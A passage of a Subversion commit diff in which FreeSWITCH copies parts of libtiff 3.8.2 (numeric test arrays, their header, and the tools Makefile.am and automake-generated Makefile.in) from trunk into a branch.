+109.088721, 109.088721, 102.162453, 96.967752, 93.504618, 95.236185,
+155.841030, 209.519607, 258.003483, 290.903256, 238.956246, 249.345648,
+271.856019,
+171.425133, 173.156700, 161.035731, 161.035731, 141.988494, 138.525360,
+121.209690, 107.357154, 121.209690, 124.672824, 116.014989, 109.088721,
+103.894020, 103.894020, 100.430886, 100.430886, 103.894020, 117.746556,
+121.209690, 121.209690, 119.478123, 117.746556, 136.793793, 117.746556,
+110.820288, 107.357154, 103.894020, 102.162453, 98.699319, 98.699319,
+152.377896, 207.788040, 261.466617, 280.513854, 266.661318, 258.003483,
+268.392885,
+178.351401, 171.425133, 164.498865, 162.767298, 145.451628, 126.404391,
+116.014989, 107.357154, 112.551855, 119.478123, 116.014989, 110.820288,
+109.088721, 110.820288, 109.088721, 102.162453, 103.894020, 112.551855,
+122.941257, 119.478123, 119.478123, 116.014989, 135.062226, 112.551855,
+109.088721, 105.625587, 102.162453, 105.625587, 103.894020, 117.746556,
+173.156700, 221.640576, 268.392885, 268.392885, 263.198184, 268.392885,
+283.976988,
+180.082968, 176.619834, 171.425133, 164.498865, 148.914762, 128.135958,
+116.014989, 105.625587, 105.625587, 114.283422, 112.551855, 109.088721,
+109.088721, 110.820288, 112.551855, 109.088721, 103.894020, 109.088721,
+121.209690, 119.478123, 116.014989, 116.014989, 116.014989, 112.551855,
+107.357154, 103.894020, 100.430886, 98.699319, 107.357154, 100.430886,
+122.941257, 202.593339, 259.735050, 266.661318, 271.856019, 268.392885,
+282.245421,
+180.082968, 174.888267, 171.425133, 157.572597, 145.451628, 128.135958,
+102.162453, 102.162453, 107.357154, 110.820288, 109.088721, 105.625587,
+107.357154, 110.820288, 110.820288, 110.820288, 105.625587, 103.894020,
+119.478123, 117.746556, 116.014989, 119.478123, 116.014989, 112.551855,
+107.357154, 102.162453, 100.430886, 98.699319, 98.699319, 96.967752,
+102.162453, 180.082968, 237.224679, 254.540349, 275.319153, 278.782287,
+273.587586,
+180.082968, 174.888267, 171.425133, 155.841030, 147.183195, 133.330659,
+103.894020, 98.699319, 103.894020, 107.357154, 107.357154, 107.357154,
+109.088721, 110.820288, 112.551855, 112.551855, 114.283422, 173.156700,
+116.014989, 116.014989, 119.478123, 119.478123, 116.014989, 112.551855,
+109.088721, 103.894020, 100.430886, 96.967752, 93.504618, 95.236185,
+96.967752, 133.330659, 211.251174, 245.882514, 287.440122, 271.856019,
+259.735050,
+180.082968, 174.888267, 167.961999, 159.304164, 133.330659, 136.793793,
+110.820288, 98.699319, 98.699319, 107.357154, 107.357154, 107.357154,
+110.820288, 112.551855, 114.283422, 112.551855, 199.130205, 238.956246,
+223.372143, 110.820288, 117.746556, 121.209690, 117.746556, 114.283422,
+110.820288, 103.894020, 100.430886, 96.967752, 91.773051, 91.773051,
+96.967752, 107.357154, 199.130205, 247.614081, 271.856019, 270.124452,
+275.319153
+};
+
+const size_t array_double2_size = sizeof(array_double2);
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/test_arrays.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/* $Id: test_arrays.h,v 1.3 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Few declarations for the test numerical arrays.
+ */
+
+#ifndef _TEST_ARRAYS_ 
+#define _TEST_ARRAYS_
+
+#include <stddef.h>
+
+#define XSIZE 37
+#define YSIZE 23
+
+extern const unsigned char byte_array1[];
+extern const size_t byte_array1_size;
+
+extern const unsigned char byte_array2[];
+extern const size_t byte_array2_size;
+
+extern const unsigned char byte_array3[];
+extern const size_t byte_array3_size;
+
+extern const float array_float1[];
+extern const size_t array_float1_size;
+
+extern const float array_float2[];
+extern const size_t array_float2_size;
+
+extern const double array_double1[];
+extern const size_t array_double1_size;
+
+extern const double array_double2[];
+extern const size_t array_double2_size;
+
+#endif /* _TEST_ARRAYS_ */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/tools


Name: svn:ignore
   + .deps
Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,141 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+LIBPORT = $(top_builddir)/port/libport.la
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+
+EXTRA_DIST = Makefile.vc
+
+bin_PROGRAMS = \
+	bmp2tiff \
+	fax2ps \
+	fax2tiff \
+	gif2tiff \
+	pal2rgb \
+	ppm2tiff \
+	ras2tiff \
+	raw2tiff \
+	rgb2ycbcr \
+	thumbnail \
+	tiff2bw \
+	tiff2pdf \
+	tiff2ps \
+	tiff2rgba \
+	tiffcmp \
+	tiffcp \
+	tiffdither \
+	tiffdump \
+	tiffinfo \
+	tiffmedian \
+	tiffset \
+	tiffsplit
+if HAVE_OPENGL
+bin_PROGRAMS += tiffgt
+endif
+
+EXTRA_PROGRAMS = sgi2tiff sgisv ycbcr
+
+if HAVE_RPATH
+AM_LDFLAGS = $(LIBDIR)
+endif
+
+bmp2tiff_SOURCES = bmp2tiff.c
+bmp2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+
+fax2ps_SOURCES = fax2ps.c
+fax2ps_LDADD = $(LIBTIFF) $(LIBPORT)
+
+fax2tiff_SOURCES = fax2tiff.c
+fax2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+
+gif2tiff_SOURCES = gif2tiff.c
+gif2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+
+pal2rgb_SOURCES = pal2rgb.c
+pal2rgb_LDADD = $(LIBTIFF) $(LIBPORT)
+
+ppm2tiff_SOURCES = ppm2tiff.c
+ppm2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+
+ras2tiff_SOURCES = ras2tiff.c rasterfile.h
+ras2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+
+raw2tiff_SOURCES = raw2tiff.c
+raw2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+
+rgb2ycbcr_SOURCES = rgb2ycbcr.c
+rgb2ycbcr_LDADD = $(LIBTIFF) $(LIBPORT)
+
+thumbnail_SOURCES = thumbnail.c
+thumbnail_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiff2bw_SOURCES = tiff2bw.c
+tiff2bw_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiff2pdf_SOURCES = tiff2pdf.c
+tiff2pdf_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiff2ps_SOURCES = tiff2ps.c
+tiff2ps_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiff2rgba_SOURCES = tiff2rgba.c
+tiff2rgba_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffcmp_SOURCES = tiffcmp.c
+tiffcmp_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffcp_SOURCES = tiffcp.c
+tiffcp_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffdither_SOURCES = tiffdither.c
+tiffdither_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffdump_SOURCES = tiffdump.c
+tiffdump_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffinfo_SOURCES = tiffinfo.c
+tiffinfo_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffmedian_SOURCES = tiffmedian.c
+tiffmedian_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffset_SOURCES = tiffset.c
+tiffset_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffsplit_SOURCES = tiffsplit.c
+tiffsplit_LDADD = $(LIBTIFF) $(LIBPORT)
+
+tiffgt_SOURCES = tiffgt.c
+tiffgt_CFLAGS = $(CFLAGS) $(GLUT_CFLAGS) $(AM_CFLAGS)
+tiffgt_LDADD = $(LIBTIFF) $(LIBPORT) $(X_LIBS) $(GLUT_LIBS)
+
+INCLUDES = -I$(top_srcdir)/libtiff
+
+echo:
+	(echo $(CFLAGS))
+	(echo $(tiffgt_CFLAGS))
+	(echo $(GL_CFLAGS))
+	(echo $(GLU_CFLAGS))
+	(echo $(GLUT_CFLAGS))

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,795 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+bin_PROGRAMS = bmp2tiff$(EXEEXT) fax2ps$(EXEEXT) fax2tiff$(EXEEXT) \
+	gif2tiff$(EXEEXT) pal2rgb$(EXEEXT) ppm2tiff$(EXEEXT) \
+	ras2tiff$(EXEEXT) raw2tiff$(EXEEXT) rgb2ycbcr$(EXEEXT) \
+	thumbnail$(EXEEXT) tiff2bw$(EXEEXT) tiff2pdf$(EXEEXT) \
+	tiff2ps$(EXEEXT) tiff2rgba$(EXEEXT) tiffcmp$(EXEEXT) \
+	tiffcp$(EXEEXT) tiffdither$(EXEEXT) tiffdump$(EXEEXT) \
+	tiffinfo$(EXEEXT) tiffmedian$(EXEEXT) tiffset$(EXEEXT) \
+	tiffsplit$(EXEEXT) $(am__EXEEXT_1)
+@HAVE_OPENGL_TRUE@am__append_1 = tiffgt
+EXTRA_PROGRAMS = sgi2tiff$(EXEEXT) sgisv$(EXEEXT) ycbcr$(EXEEXT)
+subdir = tools
+DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+@HAVE_OPENGL_TRUE@am__EXEEXT_1 = tiffgt$(EXEEXT)
+am__installdirs = "$(DESTDIR)$(bindir)"
+binPROGRAMS_INSTALL = $(INSTALL_PROGRAM)
+PROGRAMS = $(bin_PROGRAMS)
+am_bmp2tiff_OBJECTS = bmp2tiff.$(OBJEXT)
+bmp2tiff_OBJECTS = $(am_bmp2tiff_OBJECTS)
+am__DEPENDENCIES_1 = $(top_builddir)/libtiff/libtiff.la
+am__DEPENDENCIES_2 = $(top_builddir)/port/libport.la
+bmp2tiff_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_fax2ps_OBJECTS = fax2ps.$(OBJEXT)
+fax2ps_OBJECTS = $(am_fax2ps_OBJECTS)
+fax2ps_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_fax2tiff_OBJECTS = fax2tiff.$(OBJEXT)
+fax2tiff_OBJECTS = $(am_fax2tiff_OBJECTS)
+fax2tiff_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_gif2tiff_OBJECTS = gif2tiff.$(OBJEXT)
+gif2tiff_OBJECTS = $(am_gif2tiff_OBJECTS)
+gif2tiff_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_pal2rgb_OBJECTS = pal2rgb.$(OBJEXT)
+pal2rgb_OBJECTS = $(am_pal2rgb_OBJECTS)
+pal2rgb_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_ppm2tiff_OBJECTS = ppm2tiff.$(OBJEXT)
+ppm2tiff_OBJECTS = $(am_ppm2tiff_OBJECTS)
+ppm2tiff_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_ras2tiff_OBJECTS = ras2tiff.$(OBJEXT)
+ras2tiff_OBJECTS = $(am_ras2tiff_OBJECTS)
+ras2tiff_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_raw2tiff_OBJECTS = raw2tiff.$(OBJEXT)
+raw2tiff_OBJECTS = $(am_raw2tiff_OBJECTS)
+raw2tiff_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_rgb2ycbcr_OBJECTS = rgb2ycbcr.$(OBJEXT)
+rgb2ycbcr_OBJECTS = $(am_rgb2ycbcr_OBJECTS)
+rgb2ycbcr_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+sgi2tiff_SOURCES = sgi2tiff.c
+sgi2tiff_OBJECTS = sgi2tiff.$(OBJEXT)
+sgi2tiff_LDADD = $(LDADD)
+sgisv_SOURCES = sgisv.c
+sgisv_OBJECTS = sgisv.$(OBJEXT)
+sgisv_LDADD = $(LDADD)
+am_thumbnail_OBJECTS = thumbnail.$(OBJEXT)
+thumbnail_OBJECTS = $(am_thumbnail_OBJECTS)
+thumbnail_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiff2bw_OBJECTS = tiff2bw.$(OBJEXT)
+tiff2bw_OBJECTS = $(am_tiff2bw_OBJECTS)
+tiff2bw_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiff2pdf_OBJECTS = tiff2pdf.$(OBJEXT)
+tiff2pdf_OBJECTS = $(am_tiff2pdf_OBJECTS)
+tiff2pdf_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiff2ps_OBJECTS = tiff2ps.$(OBJEXT)
+tiff2ps_OBJECTS = $(am_tiff2ps_OBJECTS)
+tiff2ps_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiff2rgba_OBJECTS = tiff2rgba.$(OBJEXT)
+tiff2rgba_OBJECTS = $(am_tiff2rgba_OBJECTS)
+tiff2rgba_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffcmp_OBJECTS = tiffcmp.$(OBJEXT)
+tiffcmp_OBJECTS = $(am_tiffcmp_OBJECTS)
+tiffcmp_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffcp_OBJECTS = tiffcp.$(OBJEXT)
+tiffcp_OBJECTS = $(am_tiffcp_OBJECTS)
+tiffcp_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffdither_OBJECTS = tiffdither.$(OBJEXT)
+tiffdither_OBJECTS = $(am_tiffdither_OBJECTS)
+tiffdither_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffdump_OBJECTS = tiffdump.$(OBJEXT)
+tiffdump_OBJECTS = $(am_tiffdump_OBJECTS)
+tiffdump_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffgt_OBJECTS = tiffgt-tiffgt.$(OBJEXT)
+tiffgt_OBJECTS = $(am_tiffgt_OBJECTS)
+am__DEPENDENCIES_3 =
+tiffgt_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2) \
+	$(am__DEPENDENCIES_3) $(am__DEPENDENCIES_3)
+am_tiffinfo_OBJECTS = tiffinfo.$(OBJEXT)
+tiffinfo_OBJECTS = $(am_tiffinfo_OBJECTS)
+tiffinfo_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffmedian_OBJECTS = tiffmedian.$(OBJEXT)
+tiffmedian_OBJECTS = $(am_tiffmedian_OBJECTS)
+tiffmedian_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffset_OBJECTS = tiffset.$(OBJEXT)
+tiffset_OBJECTS = $(am_tiffset_OBJECTS)
+tiffset_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+am_tiffsplit_OBJECTS = tiffsplit.$(OBJEXT)
+tiffsplit_OBJECTS = $(am_tiffsplit_OBJECTS)
+tiffsplit_DEPENDENCIES = $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_2)
+ycbcr_SOURCES = ycbcr.c
+ycbcr_OBJECTS = ycbcr.$(OBJEXT)
+ycbcr_LDADD = $(LDADD)
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/libtiff -I$(top_builddir)/libtiff
+depcomp = $(SHELL) $(top_srcdir)/config/depcomp
+am__depfiles_maybe = depfiles
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+	$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(LIBTOOL) --tag=CC --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+SOURCES = $(bmp2tiff_SOURCES) $(fax2ps_SOURCES) $(fax2tiff_SOURCES) \
+	$(gif2tiff_SOURCES) $(pal2rgb_SOURCES) $(ppm2tiff_SOURCES) \
+	$(ras2tiff_SOURCES) $(raw2tiff_SOURCES) $(rgb2ycbcr_SOURCES) \
+	sgi2tiff.c sgisv.c $(thumbnail_SOURCES) $(tiff2bw_SOURCES) \
+	$(tiff2pdf_SOURCES) $(tiff2ps_SOURCES) $(tiff2rgba_SOURCES) \
+	$(tiffcmp_SOURCES) $(tiffcp_SOURCES) $(tiffdither_SOURCES) \
+	$(tiffdump_SOURCES) $(tiffgt_SOURCES) $(tiffinfo_SOURCES) \
+	$(tiffmedian_SOURCES) $(tiffset_SOURCES) $(tiffsplit_SOURCES) \
+	ycbcr.c
+DIST_SOURCES = $(bmp2tiff_SOURCES) $(fax2ps_SOURCES) \
+	$(fax2tiff_SOURCES) $(gif2tiff_SOURCES) $(pal2rgb_SOURCES) \
+	$(ppm2tiff_SOURCES) $(ras2tiff_SOURCES) $(raw2tiff_SOURCES) \
+	$(rgb2ycbcr_SOURCES) sgi2tiff.c sgisv.c $(thumbnail_SOURCES) \
+	$(tiff2bw_SOURCES) $(tiff2pdf_SOURCES) $(tiff2ps_SOURCES) \
+	$(tiff2rgba_SOURCES) $(tiffcmp_SOURCES) $(tiffcp_SOURCES) \
+	$(tiffdither_SOURCES) $(tiffdump_SOURCES) $(tiffgt_SOURCES) \
+	$(tiffinfo_SOURCES) $(tiffmedian_SOURCES) $(tiffset_SOURCES) \
+	$(tiffsplit_SOURCES) ycbcr.c
+ETAGS = etags
+CTAGS = ctags
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
